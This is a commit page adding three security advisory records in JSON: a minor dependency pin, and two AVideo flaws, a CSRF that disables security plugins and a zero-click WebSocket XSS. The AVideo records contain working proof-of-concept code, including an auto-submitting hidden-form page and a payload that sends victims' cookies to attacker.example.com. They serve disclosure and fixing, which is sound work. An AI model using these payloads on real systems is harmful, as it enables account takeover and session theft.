Skip to content

Commit a354bc5

Browse files
1 parent ab82e65 commit a354bc5

3 files changed

Lines changed: 200 additions & 0 deletions

File tree

Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-5qvp-pr9f-2g2v",
4+
"modified": "2026-04-01T20:52:21Z",
5+
"published": "2026-04-01T20:52:20Z",
6+
"aliases": [],
7+
"summary": "poetry-plugin-tweak-dependencies-version affected by CVE-2026-25645",
8+
"details": "Pin vulnerable version of requests library",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "PyPI",
19+
"name": "poetry-plugin-tweak-dependencies-version"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "1.5.6"
30+
}
31+
]
32+
}
33+
],
34+
"database_specific": {
35+
"last_known_affected_version_range": "<= 1.5.5"
36+
}
37+
}
38+
],
39+
"references": [
40+
{
41+
"type": "WEB",
42+
"url": "https://github.com/psf/requests/security/advisories/GHSA-gc5v-m9x4-r6x2"
43+
},
44+
{
45+
"type": "WEB",
46+
"url": "https://github.com/sbrunner/poetry-plugin-tweak-dependencies-version/security/advisories/GHSA-5qvp-pr9f-2g2v"
47+
},
48+
{
49+
"type": "WEB",
50+
"url": "https://github.com/sbrunner/poetry-plugin-tweak-dependencies-version/commit/54b5784d89f36cd413a8bc5032ab0a96438dcae3"
51+
},
52+
{
53+
"type": "PACKAGE",
54+
"url": "https://github.com/sbrunner/poetry-plugin-tweak-dependencies-version"
55+
},
56+
{
57+
"type": "WEB",
58+
"url": "https://github.com/sbrunner/poetry-plugin-tweak-dependencies-version/releases/tag/1.5.6"
59+
}
60+
],
61+
"database_specific": {
62+
"cwe_ids": [
63+
"CWE-377"
64+
],
65+
"severity": "MODERATE",
66+
"github_reviewed": true,
67+
"github_reviewed_at": "2026-04-01T20:52:20Z",
68+
"nvd_published_at": null
69+
}
70+
}
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-hqxf-mhfw-rc44",
4+
"modified": "2026-04-01T20:54:07Z",
5+
"published": "2026-04-01T20:54:07Z",
6+
"aliases": [
7+
"CVE-2026-34613"
8+
],
9+
"summary": "AVideo: CSRF on Plugin Enable/Disable Endpoint Allows Disabling Security Plugins",
10+
"details": "## Summary\n\nThe AVideo endpoint `objects/pluginSwitch.json.php` allows administrators to enable or disable any installed plugin. The endpoint checks for an active admin session but does not validate a CSRF token. Additionally, the `plugins` database table is explicitly listed in `ignoreTableSecurityCheck()`, which means the ORM-level Referer/Origin domain validation in `ObjectYPT::save()` is also bypassed. Combined with `SameSite=None` on session cookies, an attacker can disable critical security plugins (such as LoginControl for 2FA, subscription enforcement, or access control plugins) by luring an admin to a malicious page.\n\nPlugin UUIDs are not secret values. They are hardcoded in the frontend JavaScript source and are consistent across installations, making it trivial for an attacker to target specific plugins.\n\n## Details\n\nThe `objects/pluginSwitch.json.php` endpoint checks admin status but performs no CSRF validation:\n\n```php\n// objects/pluginSwitch.json.php\nif (!User::isAdmin()) {\n die('{\"error\": \"Must be admin\"}');\n}\n\n$obj = new Plugin(0);\n$obj->loadFromUUID($_POST['uuid']);\n$obj->setStatus($_POST['status']);\n$obj->save();\n```\n\nThe `plugins` table is explicitly excluded from the ORM security check at `objects/Object.php:529`:\n\n```php\n// objects/Object.php:529\npublic static function ignoreTableSecurityCheck() {\n return array(\n 'plugins',\n // ... other tables\n );\n}\n```\n\nThis means the `save()` call does not trigger the Referer/Origin domain validation that normally acts as a secondary CSRF defense for other ORM operations.\n\nPlugin UUIDs are hardcoded in each plugin's `getUUID()` method and are consistent across all AVideo installations. Examples:\n\n| Plugin | UUID |\n|--------|------|\n| Gallery | `a06505bf-3570-4b1f-977a-fd0e5cab205d` |\n| LoginControl | `LoginControl-5ee8405eaaa16` |\n| Live | `e06b161c-cbd0-4c1d-a484-71018efa2f35` |\n| YPTWallet | `2faf2eeb-88ac-48e1-a098-37e76ae3e9f3` |\n\nThese are also exposed in frontend JavaScript:\n\n```javascript\n// design_first_page.php:99\nvar galleryUUID = 'a06505bf-3570-4b1f-977a-fd0e5cab205d';\n```\n\n## Proof of Concept\n\nHost the following HTML page on an attacker-controlled domain. This example disables the LoginControl plugin (which provides 2FA and login security enforcement):\n\n```html\n<!DOCTYPE html>\n<html>\n<head><title>AVI-031 PoC - Disable Security Plugin</title></head>\n<body>\n<h1>Loading content...</h1>\n\n<!-- Disable LoginControl (2FA / brute force protection) -->\n<iframe name=\"f1\" style=\"display:none\"></iframe>\n<form id=\"disable1\" method=\"POST\" target=\"f1\"\n action=\"https://your-avideo-instance.com/objects/pluginSwitch.json.php\">\n <input type=\"hidden\" name=\"uuid\" value=\"LoginControl-5ee8405eaaa16\" />\n <input type=\"hidden\" name=\"status\" value=\"inactive\" />\n</form>\n\n<!-- Disable YPTWallet (subscription/payment enforcement) -->\n<iframe name=\"f2\" style=\"display:none\"></iframe>\n<form id=\"disable2\" method=\"POST\" target=\"f2\"\n action=\"https://your-avideo-instance.com/objects/pluginSwitch.json.php\">\n <input type=\"hidden\" name=\"uuid\" value=\"2faf2eeb-88ac-48e1-a098-37e76ae3e9f3\" />\n <input type=\"hidden\" name=\"status\" value=\"inactive\" />\n</form>\n\n<script>\n document.getElementById('disable1').submit();\n document.getElementById('disable2').submit();\n</script>\n</body>\n</html>\n```\n\n**To find plugin UUIDs on a target instance:**\n\n```bash\n# UUIDs are exposed in the frontend source\ncurl -s \"https://your-avideo-instance.com/\" | grep -oP '[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}'\n```\n\n**Verification with curl:**\n\n```bash\n# Disable a plugin using an admin session\ncurl -b \"PHPSESSID=ADMIN_SESSION_COOKIE\" \\\n -X POST \"https://your-avideo-instance.com/objects/pluginSwitch.json.php\" \\\n -d \"uuid=a06505bf-3570-4b1f-977a-fd0e5cab205d&status=inactive\"\n\n# Verify the plugin is now inactive\ncurl -b \"PHPSESSID=ADMIN_SESSION_COOKIE\" \\\n \"https://your-avideo-instance.com/admin/index.php\" | grep -A2 \"Gallery\"\n```\n\n## Impact\n\nAn attacker can silently disable any AVideo plugin by luring an authenticated admin to a malicious web page. This has significant security implications because AVideo relies on plugins for critical security functions:\n\n- **LoginControl**: Provides two-factor authentication and brute force protection. Disabling it removes 2FA for all users and allows unlimited login attempts.\n- **Subscription/PayPal/Stripe plugins**: Enforce payment requirements for premium content. Disabling them grants free access to paid videos.\n- **Access control plugins**: Restrict content visibility. Disabling them exposes private or restricted videos.\n\nThe attack is silent (no visible indication to the admin), the plugin UUIDs are public constants, and the `SameSite=None` cookie policy ensures cross-origin delivery of the admin session.\n\n- **CWE-352**: Cross-Site Request Forgery\n\n## Recommended Fix\n\nAdd CSRF token validation at `objects/pluginSwitch.json.php:11`, after the admin check:\n\n```php\n// objects/pluginSwitch.json.php:11\nif (!isGlobalTokenValid()) {\n forbiddenPage('Invalid CSRF token');\n}\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "wwbn/avideo"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "26.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-hqxf-mhfw-rc44"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34613"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/WWBN/AVideo/commit/7ddfe4ec270d720e11f5dc28db73dfcd2cf9192a"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/WWBN/AVideo/commit/da375103d59118d1c1b1801ac7fce3cd426f8736"
54+
},
55+
{
56+
"type": "PACKAGE",
57+
"url": "https://github.com/WWBN/AVideo"
58+
}
59+
],
60+
"database_specific": {
61+
"cwe_ids": [
62+
"CWE-352"
63+
],
64+
"severity": "MODERATE",
65+
"github_reviewed": true,
66+
"github_reviewed_at": "2026-04-01T20:54:07Z",
67+
"nvd_published_at": "2026-03-31T21:16:31Z"
68+
}
69+
}
Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-w4hp-w536-jg64",
4+
"modified": "2026-04-01T20:54:51Z",
5+
"published": "2026-04-01T20:54:51Z",
6+
"aliases": [
7+
"CVE-2026-34716"
8+
],
9+
"summary": "AVideo: DOM XSS via Unsanitized Display Name in WebSocket Call Notification",
10+
"details": "## Summary\n\nThe AVideo YPTSocket plugin's caller feature renders incoming call notifications using the jQuery Toast Plugin, passing the caller's display name directly as the `heading` parameter. The toast plugin constructs the heading as raw HTML (`'<h2>' + heading + '</h2>'`) and inserts it into the DOM via jQuery's `.html()` method, which parses and executes any embedded HTML or script content. An attacker can set their display name to an XSS payload and trigger code execution on any online user's browser simply by initiating a call - no victim interaction is required beyond being connected to the WebSocket.\n\n## Details\n\nWhen a call notification arrives via WebSocket, the caller's identity is extracted from the JSON message:\n\n```javascript\n// plugin/YPTSocket/caller.js:73\nuserIdentification = json.from_identification;\n```\n\nThis value is passed directly to the jQuery Toast Plugin as the heading:\n\n```javascript\n// plugin/YPTSocket/caller.js:89\nheading: userIdentification,\n```\n\nInside the jQuery Toast Plugin, the heading is rendered as raw HTML:\n\n```javascript\n// node_modules/jquery-toast-plugin/src/jquery.toast.js:60\n// Constructs: '<h2>' + heading + '</h2>'\n// Then inserts via .html()\n```\n\njQuery's `.html()` method parses the string as HTML and executes any script-bearing elements (such as `<img onerror>`, `<svg onload>`, etc.).\n\nThere is a secondary injection vector in the same file where the full JSON message is placed inside a single-quoted `onclick` attribute:\n\n```javascript\n// plugin/YPTSocket/caller.js:121-123\nimageAndButton += '<button class=\"btn btn-danger btn-circle incomeCallBtn\" onclick=\\'hangUpCall(' + JSON.stringify(json) + ')\\'><i class=\"fas fa-phone-slash\"></i></button>';\nif (isJsonReceivingCall(json)) {\n imageAndButton += '<button class=\"btn btn-success btn-circle incomeCallBtn\" onclick=\\'acceptCall(' + JSON.stringify(json) + ')\\'><i class=\"fas fa-phone\"></i></button>';\n```\n\n`JSON.stringify(json)` is placed inside a single-quoted `onclick` attribute. If any field in `json` contains a single quote, it breaks the attribute boundary and allows attribute injection.\n\n## Proof of Concept\n\n**Important note on the attack vector:** `User::setName()` at `objects/user.php:2069` uses `strip_tags()`, so the display name IS sanitized on the server side when set through the normal UI or API. However, the WebSocket server relays call messages as-is without server-side validation of the `from_identification` field. A malicious WebSocket client can send any `from_identification` value directly over the WebSocket protocol, bypassing the server-side sanitization entirely. The attack requires a custom WebSocket client, not the normal UI.\n\n**Step 1: Connect a malicious WebSocket client and send a forged call message**\n\nThe following JavaScript connects directly to the AVideo WebSocket server and sends a call message with an XSS payload in the `from_identification` field:\n\n```javascript\n// Malicious WebSocket client - bypasses server-side strip_tags() sanitization\nconst ws = new WebSocket('wss://your-avideo-instance.com:8888');\n\nws.onopen = function() {\n // Send a forged call message with HTML in from_identification\n const payload = {\n msg: 'call',\n from_users_id: 1,\n to_users_id: VICTIM_USER_ID,\n from_identification: '<img src=x onerror=alert(document.cookie)>',\n resourceURL: 'https://your-avideo-instance.com/meet/123'\n };\n ws.send(JSON.stringify(payload));\n console.log('Forged call message sent');\n};\n```\n\n**Step 2:** When the victim receives the call notification, the toast renders `from_identification` as HTML via jQuery's `.html()`. The `<img>` tag triggers the `onerror` handler, executing JavaScript in the victim's browser context.\n\nMore advanced payload for credential exfiltration:\n\n```javascript\n// Credential exfiltration via forged WebSocket call\nconst ws = new WebSocket('wss://your-avideo-instance.com:8888');\nws.onopen = function() {\n ws.send(JSON.stringify({\n msg: 'call',\n from_users_id: 1,\n to_users_id: VICTIM_USER_ID,\n from_identification: '<img src=x onerror=\"fetch(\\'https://attacker.example.com/log?\\'+document.cookie)\">',\n resourceURL: 'https://your-avideo-instance.com/meet/123'\n }));\n};\n```\n\nReproduction steps:\n\n1. Identify the WebSocket server address for the target AVideo instance (typically port 8888).\n2. Connect a custom WebSocket client to the server.\n3. Send a call message with `from_identification` set to `<img src=x onerror=alert(document.cookie)>`.\n4. Ensure a victim user is online and connected to the WebSocket (any authenticated page with YPTSocket loaded).\n5. Observe the XSS payload executing in the victim's browser when the toast notification appears. No victim interaction is required.\n\n## Impact\n\nThis is a zero-click stored XSS vulnerability. The victim does not need to click anything - merely being connected to the WebSocket (which happens automatically on any authenticated page load) is sufficient for the attack to succeed. The attacker controls when the payload fires by initiating a call.\n\nConsequences include:\n\n- **Session hijacking**: Steal the victim's session cookie and impersonate them.\n- **Account takeover**: If the victim is an administrator, the attacker gains full platform control.\n- **Worm propagation**: The XSS payload can automatically change the victim's display name to the same payload and call other online users, creating a self-propagating worm.\n- **Keylogging and credential theft**: Inject persistent scripts that capture keystrokes on the current page.\n\nThe attack is zero-click and can target any specific online user.\n\n- **CWE**: CWE-79 (Cross-Site Scripting - DOM-based)\n\n## Recommended Fix\n\nHTML-escape the heading value before passing it to `$.toast()` at `plugin/YPTSocket/caller.js:89`:\n\n```javascript\nheading: $('<span>').text(userIdentification).html(),\n```\n\nThis uses jQuery's `.text()` to safely encode the user-controlled string, then extracts the escaped HTML via `.html()`.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "wwbn/avideo"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "26.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-w4hp-w536-jg64"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34716"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/WWBN/AVideo"
50+
}
51+
],
52+
"database_specific": {
53+
"cwe_ids": [
54+
"CWE-79"
55+
],
56+
"severity": "MODERATE",
57+
"github_reviewed": true,
58+
"github_reviewed_at": "2026-04-01T20:54:51Z",
59+
"nvd_published_at": "2026-03-31T21:16:31Z"
60+
}
61+
}

0 commit comments

Comments
 (0)